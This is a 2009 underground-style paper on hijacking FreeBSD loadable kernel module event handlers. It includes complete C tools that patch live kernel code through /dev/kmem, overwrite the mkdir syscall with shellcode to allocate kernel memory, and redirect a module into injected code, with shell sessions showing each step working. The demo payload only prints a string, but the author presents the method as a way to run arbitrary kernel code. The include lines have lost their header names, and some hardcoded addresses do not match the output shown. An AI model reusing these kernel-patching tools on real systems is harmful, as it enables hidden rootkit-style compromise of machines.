[*]]]]] Hijacking LKM's event handler - FreeBSD case study [[[[[*] bY suN8Hclf of Lost Hop3z blacksideofthesun.linuxsecured.net crimson.loyd@gmail.com 05/05/2009 "To those who follow their dreams and specialize in the impossible" ****] 0x01 Abstract ****] 0x02 FreeBSD's LKMs ****] 0x03 Basic FreeBSD's LKM ****] 0x04 Inside event handler ****] 0x05 Near Call jumps ****] 0x06 Basic 1-byte patch ****] 0x07 Advanced technique ==] 0x07.a Kernel memory allocation ==] 0x07.b Putting it all together ****] 0x08 Summary ****] 0x09 Codes ****] 0x01 Abstract ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ This paper is about LKMs (Loadable Kernel Modules) in FreeBSD Operating System. It presents an interesting (at least to me) method of intercepting LKM's code flow by hijacking event handler. I havent found any paper about this technique so I decided to write one. This paper is rather easy however you should be familiar with the following concepts to fully understand the content: * basic operating systems concepts * x86 assembly and C languages * know what /dev/kmem is, and how it can be (ab)used * have some knowledge about FreeBSD's LKMs ****] 0x02 FreeBSD's LKMs ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ A Loadable Kernel Module (LKM) is not a new concept among Operating Systems. Generally speaking it is a piece of code, that can be loaded into kernel memory to extend functionality, implement new features within existing kernel code or provide some kind of services (device drivers etc). As its name suggests, LKM can be loaded any time there is a need and it is the easiest way to place a code into kernel-space. LKM's code executes on ring0 level, therefore it has a total control over entire operating system. It can change important data structures or do other ugly (?) things. ****] 0x03 Basic FreeBSD's LKM ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ This paper is not a book about writing LKMs under FreeBSD operating system, therefore I will quickly present only essential information. The simplest FreeBSD's kernel module consists of 3 parts: * event handler * moduledata structure * DECLARE_MODULE() macro event handler defines actions to be performed in response to a particular events like LKM being loaded or unloaded. moduledata structure (declared in ) stores some information about LKM: its name and pointer to event handler function. DECLARE_MODULE() macro is used to link and register a LKM within the kernel. Armed with this knowledge we can write a simple LKM that will be used to present techniques described in this paper (lkm_sample.c). root@alhambra# kldload ./lkm_sample.ko Hello world root@alhambra# kldstat Id Refs Address Size Name 1 21 0xc0400000 3cd038 kernel 2 6 0xc07ce000 1eed0 linux.ko 3 1 0xc07ed000 3910 ulpt.ko 4 1 0xc07f1000 5c340 acpi.ko 5 1 0xc23a7000 6000 linprocfs.ko 6 1 0xc2472000 2d000 pf.ko 7 1 0xc2669000 6000 snd_csa.ko 8 2 0xc267a000 1d000 sound.ko 9 1 0xc27b7000 8000 vmmon_up.ko 10 1 0xc27c1000 2000 vmnet.ko 11 1 0xc27c4000 2000 rtc.ko 12 1 0xc2f4d000 2000 lkm_sample.ko root@alhambra# kldunload lkm_sample Bye world root@alhambra# Ok, it works perfectly, now lets see how event handler looks like. ****] 0x04 Inside event handler ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ root@alhambra# objdump -d ./lkm_sample.ko ./lkm_sample.ko: file format elf32-i386-freebsd Disassembly of section .text: [..] 00000420 : 420: 55 push %ebp 421: 89 e5 mov %esp,%ebp 423: 68 85 04 00 00 push $0x485 428: e8 fc ff ff ff call 429 42d: c9 leave 42e: c3 ret 42f: 90 nop [..] 00000430 : 430: 55 push %ebp 431: 89 e5 mov %esp,%ebp 433: 53 push %ebx 434: 8b 45 0c mov 0xc(%ebp),%eax <-- put event type into EAX 437: 31 db xor %ebx,%ebx <-- EBX = 0 439: 85 c0 test %eax,%eax <-- is EAX == 0 (MOD_LOAD)? 43b: 74 0f je 44c <-- if so, jump to printHello() 43d: 48 dec %eax 43e: 74 18 je 458 <-- was EAX == 1 (MOD_UNLOAD)? 440: bb 2d 00 00 00 mov $0x2d,%ebx 445: 89 d8 mov %ebx,%eax 447: 5b pop %ebx 448: c9 leave 449: c3 ret 44a: 89 f6 mov %esi,%esi 44c: e8 af ff ff ff call 400 451: 89 d8 mov %ebx,%eax 453: 5b pop %ebx 454: c9 leave 455: c3 ret 456: 89 f6 mov %esi,%esi 458: e8 b3 ff ff ff call 410 45d: 89 d8 mov %ebx,%eax 45f: 5b pop %ebx 460: c9 leave 461: c3 ret Well, this dump looks really simple, and the assembly code implements standard switch()/case construction. ****] 0x05 Near Call jumps ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Before we start playing around with LKM's event handler, you should understand how near call's are translated into machine code. This is really simple but important so do not ignore this small section. Consider the following code: 206: e8 f5 00 00 00 call 300 20B: b8 2f 14 00 00 mov $0x142f, %eax When the IP (Instruction pointer) gets to line 206 it will jump to code at 300. CALL intruction is represented by 0xE8, however 0xf5000000 is not 0x300. Weird? Well, this kind of call is named "near call" and the value after CALL's opcode is A DISTANCE from location we jump to, to a place we return after call is finished: 0x300 - 0x20B = 0xF5. ****] 0x06 Basic 1-byte patch ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ If you look carefully at lkm_sample.c's code, you will see a function named printOwned(). It is never called within the entire LKM, so lets force LKM to call it :). Think with me, our LKM implements two events - MOD_LOAD and MOD_UNLOAD. MOD_LOAD is called when the LKM is being loaded into kernel memory so it is not a good attack vector (we want to hijack LKM while it is running). But what about MOD_UNLOAD? And what and where to patch? During my research I patched the line 458 and it works perfectly. The algorithm is the following: 1. Locate code from "line 458" wihin kernel memory 2. Patch 0xb3 to 0xc3 (0x420 - 0x45d) 3. Run the code by unloading the module The code implementing this method is located at the end of paper (basic_hijack.c). root@alhambra# kldload ./lkm_sample.ko Hello world root@alhambra# kldunload lkm_sample Bye world root@alhambra# gcc basic_hijack.c -o basic_hijack -lkvm root@alhambra# ./basic_hijack [+]Patching code at 0xc2f50458 [*]Done, now unload the module to trigger the code :) root@alhambra# kldunload lkm_sample You shouldnt see this message...Am I owned?! root@alhambra# ****] 0x07 Advanced technique ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The previous example is not very effective because we are limited to code inside LKM. So what about executing our own independent code? ==] 0x07.a Kernel memory allocation ************************************** Generally the method for allocating kernel memory from user-land was developed by Salvio Cesare and can be described as the following: 1. Find an address of a syscall 2. Write a function allocating kernel memory 3. Save sizeof(our_function) bytes of a chosen syscall 4. Overwrite a syscall with our function 5. Call that syscall (in fact, our function will be called) 6. Restore a syscall Code for allocating kernel memory is at the end of paper (allocuser.c) - it hookes mkdir syscall and yes, it was not written by me :). ==] 0x07.b Putting it all together ************************************** So lets sum things up. To execute our code we need to do the following: 1. Allocate some kernel memory (allocuser.c code) 2. Place our code into allocated memory area 3. Overwrite line 458 with a jump to out code 4. Prevent kernel from crashing ;p Advanced_hijack.c implements this technique and forces LKM to print a nice string. At this stage, you are limited only to your imagination, you can execute every code :) root@alhambra# kldload ./lkm_sample.ko Hello world root@alhambra# kldunload lkm_sample Bye world root@alhambra# ./allocuser 100 Address of kernel memory: 0xc2f46700 root@alhambra# kldload ./lkm_sample.ko Hello world root@alhambra# kldstat Id Refs Address Size Name 1 21 0xc0400000 3cd038 kernel 2 6 0xc07ce000 1eed0 linux.ko 3 1 0xc07ed000 3910 ulpt.ko 4 1 0xc07f1000 5c340 acpi.ko 5 1 0xc23a7000 6000 linprocfs.ko 6 1 0xc2472000 2d000 pf.ko 7 1 0xc2669000 6000 snd_csa.ko 8 2 0xc267a000 1d000 sound.ko 9 1 0xc27b7000 8000 vmmon_up.ko 10 1 0xc27c1000 2000 vmnet.ko 11 1 0xc27c4000 2000 rtc.ko 12 1 0xc2f80000 2000 lkm_sample.ko root@alhambra# gcc advanced_hijack.c -o advanced_hijack -lkvm root@alhambra# ./advanced_hijack [+]Patching code at 0xc2f80458 [*]Done, unload the module to trigger the code :) root@alhambra# kldunload lkm_sample WANNA BE A NINJA? root@alhambra# Done, game ov3r :))) ****] 0x08 Summary ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ In this paper, a nice and interesting technique for intercepting LKM's flow was presented. Its usage is of course limited because a particular environment has to be provided to make it work. ****] 0x09 Codes ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ----------------------------lkm_sample.c---------------------------- /* * C0de bY suN8Hclf of Lost Hop3z * blacksideofthesun.linuxsecured.net * crimson.loyd@gmail.com */ #include #include #include #include #include void printHello(void); void printBye(void); void printOwned(void); void printHello(void) { uprintf("Hello world\n"); } void printBye(void) { uprintf("Bye world\n"); } void printOwned(void) { uprintf("You shouldnt see this message...Am I owned?!\n"); } static int event_handler(struct module *module, int event, void *arg) { int e = 0; switch(event) { case MOD_LOAD: printHello(); break; case MOD_UNLOAD: printBye(); break; default: e = EOPNOTSUPP; break; } return e; } static moduledata_t lkm_sample_conf = { "lkm_sample", event_handler, NULL }; DECLARE_MODULE(lkm_sample, lkm_sample_conf, SI_SUB_DRIVERS, SI_ORDER_MIDDLE); ----------------------------lkm_sample.c---------------------------- ----------------------------basic_hijack.c---------------------------- /* * C0de bY suN8Hclf of Lost Hop3z * blacksideofthesun.linuxsecured.net * crimson.loyd@gmail.com */ #include #include #include #include #include #include /* base of LKM, get it from kldstat */ #define START_ADDR 0xc2f50000 int main(int argc, char *argv[]) { kvm_t *kd; char errbuf[128]; unsigned char buffer[2000]; int i, ret; kd = kvm_openfiles(NULL, NULL, NULL, O_RDWR, errbuf); if(kd == NULL) { fprintf(stderr, "Cannot open /dev/kmem: %s\n", errbuf); exit(1); } memset(buffer, 0, sizeof(buffer)); ret = kvm_read(kd, START_ADDR, buffer, sizeof(buffer)); if(ret < 0) { fprintf(stderr, "Cannot read from /dev/kmem: %s\n", kvm_geterr(kd)); kvm_close(kd); exit(2); } /* simple linear searching... */ for(i = 0; i < sizeof(buffer) - 1; i++) { if((buffer[i] == 0xe8) && (buffer[i+1] == 0xb3) && (buffer[i+2] == 0xff)) { printf("[+]Patching code at 0x%x\n", START_ADDR + i); buffer[i+1] = 0xc3; } } ret = kvm_write(kd, START_ADDR, buffer, sizeof(buffer)); if(ret < 0) { fprintf(stderr, "Cannot write: %s\n", kvm_geterr(kd)); kvm_close(kd); exit(3); } printf("[*]Done, now unload the module to trigger the code :)\n"); kvm_close(kd); return 0; } ----------------------------basic_hijack.c---------------------------- ----------------------------allocuser.c---------------------------- #include #include #include #include #include #include #include #include #define OFFSET_1 0x3a #define OFFSET_2 0x56 unsigned char code[] = "\x55" /* push %ebp */ "\xba\x01\x00\x00\x00" /* mov $0x1,%edx */ "\x89\xe5" /* mov %esp,%ebp */ "\x53" /* push %ebx */ "\x83\xec\x14" /* sub $0x14,%esp */ "\x8b\x5d\x0c" /* mov 0xc(%ebp),%ebx */ "\x8b\x03" /* mov (%ebx),%eax */ "\x85\xc0" /* test %eax,%eax */ "\x75\x0b" /* jne 20 */ "\x83\xc4\x14" /* add $0x14,%esp */ "\x89\xd0" /* mov %edx,%eax */ "\x5b" /* pop %ebx */ "\xc9" /* leave */ "\xc3" /* ret */ "\x8d\x76\x00" /* lea 0x0(%esi),%esi */ "\xc7\x44\x24\x08\x01\x00\x00" /* movl $0x1,0x8(%esp) */ "\x00" "\xc7\x44\x24\x04\x00\x00\x00" /* movl $0x0,0x4(%esp) */ "\x00" "\x8b\x00" /* mov (%eax),%eax */ "\x89\x04\x24" /* mov %eax,(%esp) */ "\xe8\xfc\xff\xff\xff" /* call 36 */ "\x89\x45\xf8" /* mov %eax,0xfffffff8(%ebp) */ "\xc7\x44\x24\x08\x08\x00\x00" /* movl $0x8,0x8(%esp) */ "\x00" "\x8b\x03" /* mov (%ebx),%eax */ "\x89\x44\x24\x04" /* mov %eax,0x4(%esp) */ "\x8d\x45\xf4" /* lea 0xfffffff4(%ebp),%eax */ "\x89\x04\x24" /* mov %eax,(%esp) */ "\xe8\xfc\xff\xff\xff" /* call 52 */ "\x83\xc4\x14" /* add $0x14,%esp */ "\x89\xc2" /* mov %eax,%edx */ "\x5b" /* pop %ebx */ "\xc9" /* leave */ "\x89\xd0" /* mov %edx,%eax */ "\xc3"; /* ret */ struct kma_struct { unsigned long size; unsigned long *addr; }; int main(int argc, char **argv) { int i = 0; char errbuf[_POSIX2_LINE_MAX]; kvm_t *kd; u_int32_t offset_1; u_int32_t offset_2; struct nlist nl[] = {{ NULL },{ NULL },{ NULL },{ NULL },{ NULL },}; unsigned char origcode[sizeof(code)]; struct kma_struct kma; if(argc != 2) { printf("Usage:\n%s \n", argv[0]); exit(0); } kd = kvm_openfiles(NULL, NULL, NULL, O_RDWR, errbuf); if(kd == NULL) { fprintf(stderr, "ERROR: %s\n", errbuf); exit(-1); } nl[0].n_name = "mkdir"; nl[1].n_name = "M_TEMP"; nl[2].n_name = "malloc"; nl[3].n_name = "copyout"; if(kvm_nlist(kd, nl) < 0) { fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd)); exit(-1); } for(i = 0; i < 4; i++) { if(!nl[i].n_value) { fprintf(stderr, "ERROR: Symbol %s not found\n" , nl[i].n_name); exit(-1); } } offset_1 = nl[0].n_value + OFFSET_1; offset_2 = nl[0].n_value + OFFSET_2; *(unsigned long *)&code[44] = nl[1].n_value; *(unsigned long *)&code[54] = nl[2].n_value - offset_1; *(unsigned long *)&code[82] = nl[3].n_value - offset_2; if(kvm_read(kd, nl[0].n_value, origcode, sizeof(code)) < 0) { fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd)); exit(-1); } if(kvm_write(kd, nl[0].n_value, code, sizeof(code)) < 0) { fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd)); exit(-1); } kma.size = (unsigned long)atoi(argv[1]); syscall(136, &kma); printf("Address of kernel memory: 0x%x\n", kma.addr); if(kvm_write(kd, nl[0].n_value, origcode, sizeof(code)) < 0) { fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd)); exit(-1); } if(kvm_close(kd) < 0) { fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd)); exit(-1); } exit(0); } ----------------------------allocuser.c---------------------------- ----------------------------Advanced_hijack.c---------------------------- /* * C0de bY suN8Hclf of Lost Hop3z * blacksideofthesun.linuxsecured.net * crimson.loyd@gmail.com */ #include #include #include #include #include #include /* base of our LKM, get using kldstat */ #define START_ADDR 0xc2eb8000 /* address of allocated memory */ #define MEMORY 0xc23ad000 unsigned char jump[] = "\xb8\x00\x00\x00\x00" /* mov eax, our_address */ "\xff\xd0"; /* call eax */ unsigned char ha_code[] = "\x57" "\x41" "\x4e" "\x4e" "\x41" "\x20" "\x42" "\x45" "\x20" "\x41" "\x20" "\x4e" "\x49" "\x4e" "\x4a" "\x41" "\x3f" "\x00" "\x55" /* push %ebp */ "\x89\xe5" /* mov %esp,%ebp */ "\x83\xec\x08" /* sub $0x8,%esp */ "\x8b\x45\x0c" /* mov 0xc(%ebp),%eax */ "\x8b\x00" /* mov (%eax),%eax */ "\xc7\x04\x24\x0d\x00\x00\x00" /* movl $0xd,(%esp) */ "\xe8\xfc\xff\xff\xff" /* call uprintf */ "\x31\xc0" /* xor %eax,%eax */ "\x83\xc4\x08" /* add $0x8,%esp */ "\x5d" /* pop %ebp */ "\x89\xd8" /* mov %ebx,%eax */ "\xc3"; /* ret */ int main(int argc, char *argv[]) { kvm_t *kd; char errbuf[128]; int ret; u_int32_t offset; unsigned char buffer[2000]; int i; struct nlist nl[] = { { NULL}, { NULL } }; kd = kvm_openfiles(NULL, NULL, NULL, O_RDWR, errbuf); if(kd == NULL) { fprintf(stderr, "Cannot open /dev/kmem: %s\n", errbuf); exit(1); } memset(buffer, 0, sizeof(buffer)); nl[0].n_name = "uprintf"; if(kvm_nlist(kd, nl) < 0) { fprintf(stderr, "Cannot get symbol address: %s\n", kvm_geterr(kd)); kvm_close(kd); exit(2); } if(!nl[0].n_value) { printf("Cannot find symbol :(\n"); kvm_close(kd); exit(3); } ret = kvm_read(kd, START_ADDR, buffer, sizeof(buffer)); if(ret < 0) { fprintf(stderr, "Cannot read /dev/kmem: %s\n", kvm_geterr(kd)); kvm_close(kd); exit(4); } /* basic linear searching */ for(i = 0; i < sizeof(buffer) - 1; i++) { if((buffer[i] == 0xe8) && (buffer[i+1] == 0xb3) && (buffer[i+2] == 0xff)) { printf("[+]Patching code at 0x%x\n", START_ADDR + i); *(unsigned long *)&jump[1] = MEMORY + 18 /* length of string */; buffer[i] = jump[0]; buffer[i+1] = jump[1]; buffer[i+2] = jump[2]; buffer[i+3] = jump[3]; buffer[i+4] = jump[4]; buffer[i+5] = jump[5]; buffer[i+6] = jump[6]; } } *(unsigned long *)&ha_code[32] = (unsigned long)MEMORY; offset = (unsigned long)MEMORY + 0x29; *(unsigned long *)&ha_code[37] = nl[0].n_value - offset; ret = kvm_write(kd, START_ADDR, buffer, sizeof(buffer)); if(ret < 0) { fprintf(stderr, "Cannot write to /dev/kmem: %s\n", kvm_geterr(kd)); kvm_close(kd); exit(3); } ret = kvm_write(kd, MEMORY, ha_code, sizeof(ha_code)); if(ret < 0) { fprintf(stderr, "Cannot write to /dev/kmem: %s\n", kvm_geterr(kd)); kvm_close(kd); exit(3); } printf("[*]Done, unload the module to trigger the code :)\n"); kvm_close(kd); return 0; } ----------------------------Advanced_hijack.c----------------------------